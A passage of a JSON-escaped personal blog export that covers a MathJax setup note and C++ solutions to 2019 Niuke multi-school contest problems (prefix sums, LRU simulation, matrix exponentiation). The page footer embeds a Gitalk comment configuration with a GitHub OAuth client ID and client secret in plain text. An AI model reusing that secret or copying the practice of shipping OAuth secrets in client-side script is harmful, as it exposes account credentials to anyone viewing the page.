\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026quot;text/x-mathjax-config\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e MathJax.Hub.Queue(\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e all = MathJax.Hub.getAllJax(), i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; all.length; i += \u003cspan class=\"number\"\u003e1\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e all[i].SourceElement().parentNode.className += \u003cspan class=\"string\"\u003e\u0026#x27; has-jax\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026quot;text/javascript\u0026quot;\u003c/span\u003e src=\u003cspan class=\"string\"\u003e\u0026quot;https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026quot;\u003c/span\u003e\u0026gt;\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;% \u0026#125; %\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在需要用mathjax的文章的header里头填个\u003c/p\u003e\u003cfigure class=\"highlight yml\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emath:\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e就好啦\u003c/p\u003e\u003ch2 id=\"使用Mathjax备忘\"\u003e使用Mathjax备忘\u003c/h2\u003e\u003cp\u003e除了mathjax的基本语法,有些会用到但不太常用到的东西在这稍稍记一下,长期更新\u003c/p\u003e\u003cp\u003e本篇文章设置了\u003ccode\u003emath: false\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"功能\"\u003e功能\u003c/h3\u003e\u003cp\u003e写法\u003c/p\u003e\u003ch3 id=\"多行公式-对齐\"\u003e多行公式+对齐\u003c/h3\u003e\u003cp\u003e\\begin{align}\u003cbr\u003e\u0026amp; 1+1 \\\\\u003cbr\u003e= \u0026amp; 2 \\\\\u003cbr\u003e= \u0026amp; 5-4\u003cbr\u003e\\end{align}\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/08/07/Dev/%E8%AE%BAmathjax%E8%B8%A9%E5%9D%91/"},{"title":"2019暑期牛客多校","time":"2019-08-05T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003eWIP\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"第三场\"\u003e第三场\u003c/h2\u003e\n\u003ch3 id=\"B-Crazy-Binary-String\"\u003eB: Crazy Binary String\u003c/h3\u003e\n\u003cp\u003e签到题\u003cbr\u003e\n初步想法是$v_i$\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003eWIP\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第三场\"\u003e第三场\u003c/h2\u003e\u003ch3 id=\"B-Crazy-Binary-String\"\u003eB: Crazy Binary String\u003c/h3\u003e\u003cp\u003e签到题\u003cbr\u003e初步想法是$v_i$记录在$i$处出现过的0与1个数之差,当$v_j == v_i (j \\gt i)$时计算$j-i$,记录其最大值\u003cbr\u003e然而这就是个前缀和。。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;n;i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[i])state++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e state--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(first[state])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e maxx = \u003cspan class=\"built_in\"\u003emax\u003c/span\u003e(maxx, i-first[state]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e first[state] = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout\u0026lt;\u0026lt;maxx;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"J-LRU-management\"\u003eJ: LRU management\u003c/h3\u003e\u003cp\u003e大暴力,模拟\u003cbr\u003e赛后补题\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;unordered_map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003elist\u0026lt;pair\u0026lt;string, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026gt; cache;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eunordered_map\u0026lt;string, list\u0026lt;pair\u0026lt;string, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026gt;::iterator\u0026gt; last;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e T, Q, M;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eaccess\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e string \u0026amp;str, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e ite = last.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(str);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ite != last.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e cur = ite-\u0026gt;second;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\\n\u0026quot;\u003c/span\u003e, cur-\u0026gt;second);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(*cur);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cur);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last[cur-\u0026gt;first] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\\n\u0026quot;\u003c/span\u003e, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eemplace_back\u003c/span\u003e(str, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last[str] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) \u0026gt; M) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e().first);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last[str] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003equery\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e string \u0026amp;str, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e ite = last.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(str);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((ite == last.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) ||\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (v == \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003enext\u003c/span\u003e(ite-\u0026gt;second) == cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) ||\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (v == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e \u0026amp;\u0026amp; ite-\u0026gt;second == cache.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e()))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;Invalid\\n\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e result = ite-\u0026gt;second;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (v == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e result--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (v == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e result++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\\n\u0026quot;\u003c/span\u003e, result-\u0026gt;second);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e opt, v;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\u0026quot;\u003c/span\u003e, \u0026amp;T);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (T--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d %d\u0026quot;\u003c/span\u003e, \u0026amp;Q, \u0026amp;M);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (Q--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d %s %d\u0026quot;\u003c/span\u003e, \u0026amp;opt, buffer, \u0026amp;v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (opt)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003equery\u003c/span\u003e(buffer, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eaccess\u003c/span\u003e(buffer, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Magic-Line\"\u003eMagic Line\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e做几何的时候一定要注意代码的细节\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e过分别按照x与y取中位数得到的点画一条线,将坐标延伸至无限远,进行微小的调整,即可错开这个点。\u003cbr\u003e此处有一细节问题:当调整极远处坐标时应考虑到线的旋转,从而会影响到一开始排序的方向。\u003c/p\u003e\u003ch2 id=\"第五场\"\u003e第五场\u003c/h2\u003e\u003ch3 id=\"generator1\"\u003egenerator1\u003c/h3\u003e\u003ch4 id=\"题意\"\u003e题意\u003c/h4\u003e\u003cp\u003e计算$2*2$矩阵的$n$次幂($n \\leq 10^{10^6}$)\u003c/p\u003e\u003ch4 id=\"思路\"\u003e思路\u003c/h4\u003e\u003cp\u003e首先$n$这么大,快速幂是肯定的。但是有个问题就是\u003cbr\u003e这个整数转换为\u0026quot;整数\u0026quot;的复杂度不可忽略。\u003cbr\u003e将n视为字符串$n_1,n_2,n_3,…,n_{|n|}$,其中$n_i$代表n的第i数位,对矩阵T有\u003c/p\u003e\u003cp\u003e\\begin{align}\u003cbr\u003e\u0026amp; T^{int(n)} \\\\\u003cbr\u003e==\u0026amp; T^{n_1*10^{|n|}+n_2*10^{|n|-1}+…} \\\\\u003cbr\u003e==\u0026amp; T^{n_1*10^{|n|}}*T^{n_2*10^{|n|-1}}*…*T^{n_{|n|} *10^0}\u003cbr\u003e\\end{align}\u003c/p\u003e\u003ch4 id=\"备注\"\u003e备注\u003c/h4\u003e\u003cp\u003e考场上应当就问题考虑解决问题的办法,找到问题的特征,不应该抱着现成的板子不放。过不去肯定有别的问题。\u003cbr\u003e\u003cs\u003e但是我现在只想去世\u003c/s\u003e\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 